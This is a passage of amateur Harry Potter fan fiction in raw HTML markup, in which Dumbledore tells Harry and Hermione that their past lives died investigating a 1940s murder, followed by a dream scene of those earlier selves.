class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; At last she sat down heavily\nnext to Harry and Ron in the Great Hall. Grabbing a piece of toast and biting\ninto it ravenously. &#8220;Hungry?&#8221; Ron asked smiling. Hermione rolled her eyes. </p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;</p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You eat like you never ate\nbefore, Ron so shush!&#8221; Hermione said jokingly. Harry laughed. She swatted at\nhim. &#8220;Your not much better Mr. Potter!&#8221; Harry blushed. </p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;</p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What?&#8221; Ron asked blankly. </p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;</p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Nothing,&#8221; Harry and Hermione\nresponded together, both embarrassed a bit. Ron shrugged. They ate in silence\nfor about 20 minutes until Dumbledore approached them. </p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;</p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Harry, Hermione, I&#8217;d appreciate\nmeeting with you in my office. I believe you know the password.&#8221; He said.\nHermione nodded for the two of them. </p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;</p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I wonder why he wants to talk\nto us.&#8221; Harry said after they left the Great Hall. </p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;</p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Did you do anything wrong?&#8221; She\nasked him.</p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;</p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No did you?&#8221; He replied. </p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;</p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No&#8230;&#8221; She answered. &#8220;Harry&#8230;\nI&#8217;ve&#8230; I&#8217;ve been having these dreams&#8230; about you and I&#8230; except they aren&#8217;t us. I\nmean&#8230; I don&#8217;t know what I mean.&#8221; She said, her cheeks flaming. </p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;</p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hermione&#8230; do they take place&#8230;\nlike in the 40s?&#8221; He asked her. </p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;</p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes. Yes they do. Oh. My. God.\nWe&#8217;re having the same dream.&#8221; Hermione said as they reached the gargoyle.\n&#8220;Sugar Quills,&#8221; She murmured and the gargoyle jumped aside. They went down the\nstairs to Dumbledore&#8217;s office in deep thought. </p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;</p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Ahh hello, Mr. Potter, Miss\nGranger, please sit.&#8221; Dumbledore said, barely looking up at them. He seemed\nfully interested in some papers in front of him. They sat in the two seats in\nfront of the elderly professor. He handed them two pictures. &#8220;I was wondering\nif you recognized these people.&#8221; Hermione and Harry peered at the pictures. </p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;</p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hermione&#8230; its them&#8230; its\nus.&#8221;&nbsp; Harry said. Hermione nodded,\nawestruck. </p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;</p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Right there, Mr. Potter. This\nis Jonathon-&#8221;</p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;</p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Ward and Adelaide March.&#8221;\nHermione finished. </p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;</p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes. Well, these people are\nyour past lives. You share the same bodies and traits. But in each life we must\nfinish what our past lives began. That is why you are here.&#8221; Dumbledore said.\nHarry and Hermione looked confusedly at each other. </p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;</p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What do you mean professor?&#8221;\nHermione asked. </p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;</p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Adelaide and Jonathon were\ntrying to solve a murder of Adelaide&#8217;s husband, Josiah. They were on to something\nwhen they were also murdered.&#8221; He said. </p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;</p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;m sorry, sir, but why do we\nneed to know this?&#8221; Harry asked. </p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;</p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;If you want your souls to move\non, you must solve the murderer.&#8221; Dumbledore said. Harry and Hermione shared an\nuneasy glance. Dumbledore handed them a thick manila folder. &#8220;This is all the\nevidence we have.&#8221; Hermione flipped through the file. </p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;</p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;They got far. All it seem they\nneed is one piece.&#8221; Se concluded. </p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;</p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;That seems to be it, Miss\nGranger. But even if it is a small piece missing, a large piece it is.&#8221;\nDumbledore said. </p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;</p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;It says they had suspicions of\na group of mafia-type guys.&#8221; Harry said, pointing to a picture. &#8220;But here it\nsays they didn&#8217;t have any evidence to back it up. Professor Dumbledore, if its\nbeen over 50 years wouldn&#8217;t all the evidence be gone? Any suspects dead?&#8221; Harry\nsaid. </p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;</p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;That is the problem.&#8221;\nDumbledore said. </p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;</p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What if,&#8221; Hermione began, &#8220;What\nif we don&#8217;t want to? I don&#8217;t know Josiah March. I don&#8217;t care about him.&#8221;\nHermione admitted.</p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;</p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Than your souls will repeat\nthis over and over until you solve it. You will never be put to rest. You will\nbe doomed to repeat this over and over.&#8221;&nbsp;\nDumbledore warned. &#8220;I just supposed you wanted to do it the first time\naround.&#8221; Hermione nodded. </p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;</p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;ll help in any way I can.&#8221;\nHarry said. Hermione looked and him, he returned the look, his eyes begging her\nto agree.</p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;</p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Alright.&#8221;&nbsp; She agreed. </p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;</p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The rest of the day Harry and\nHermione studied every bit of evidence precisely. Hermione began to get a bit\ntired. She yawned loudly. &#8220;Ahhh&#8230;&#8221; She yawned. &#8220;I&#8217;m so t-t-tired&#8230; I&#8217;m going to\nbed.&#8221; Hermione yawned even louder. </p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;</p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Me too.&#8221; Harry agreed. They\nboth blushed slightly. </p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;</p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Good night.&#8221; She said, climbing\nthe stairs. </p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;</p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Night.&#8221; Harry responded. </p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;</p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;</p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Why?&#8221;\nAdelaide asked. </p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;</p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Why\nwhat?&#8221; Jonathon responded. </p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;</p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Why\naren&#8217;t you in the business anymore?&#8221; She asked. Jonathon&#8217;s eyes clouded.</p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;</p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;During\nthe last case I worked on my best friend and business partner, David Carrier,\nwas murdered. I don&#8217;t want to have to go through that again.&#8221; Jonathon said,\ntaking off his glasses and rubbing his eyes. </p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;</p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;m\nvery sorry, Mr. Ward.&#8221; Adelaide said, sympathetically. </p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;</p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Jonathon.\nYou can call me Jonathon. Mr. Ward sounds to old.&#8221; He said. </p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;</p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Right.\nAnd you can call me Adelaide.&#8221; Adelaide said smiling at him. </p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;</p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Anyways,\ndid your husband have any enemies?&#8221; Jonathon asked. </p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;</p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Mr.\nW- Jonathon, how can you not be an important man in society as my husband and\nnot have enemies?&#8221; Adelaide persisted. </p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;</p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Anyone\nin particular?&#8221; Jonathon asked. </p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;</p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well&#8230;&#8221;\nShe began to think deeply. &#8220;I think I have something! Josiah received a letter\na few days ago. He seemed bothered deeply by it.&#8221; </p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;</p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I\nneed to see it.&#8221; He said. Adelaide nodded. </p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;</p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;ll\nbring it tomorrow.&#8221; She promised. He nodded. </p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt;text-indent:-.5in">&nbsp;</p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Right.\nAnd Adelaide?&#8221; He asked. </p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;</p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes?&#8221;\nShe asked. </p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;</p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;This\nwon&#8217;t be easy.&#8221; He promised her. She smiled. </p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;</p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I\nnever said I expected it to be.&#8221; She said. She stood up and left the office.\nJonathon sat there in his chair, 